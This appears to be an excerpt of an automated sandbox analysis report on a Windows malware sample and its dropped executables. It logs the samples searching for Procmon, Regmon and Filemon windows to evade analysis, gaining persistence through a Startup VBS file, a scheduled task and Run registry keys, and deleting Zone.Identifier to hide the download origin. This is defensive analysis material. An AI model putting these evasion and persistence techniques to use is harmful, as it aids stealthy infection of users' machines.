Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysHost.vbs

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysHost.vbs

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 98a31794c6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 98a31794c6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 69de3a997f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 69de3a997f.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
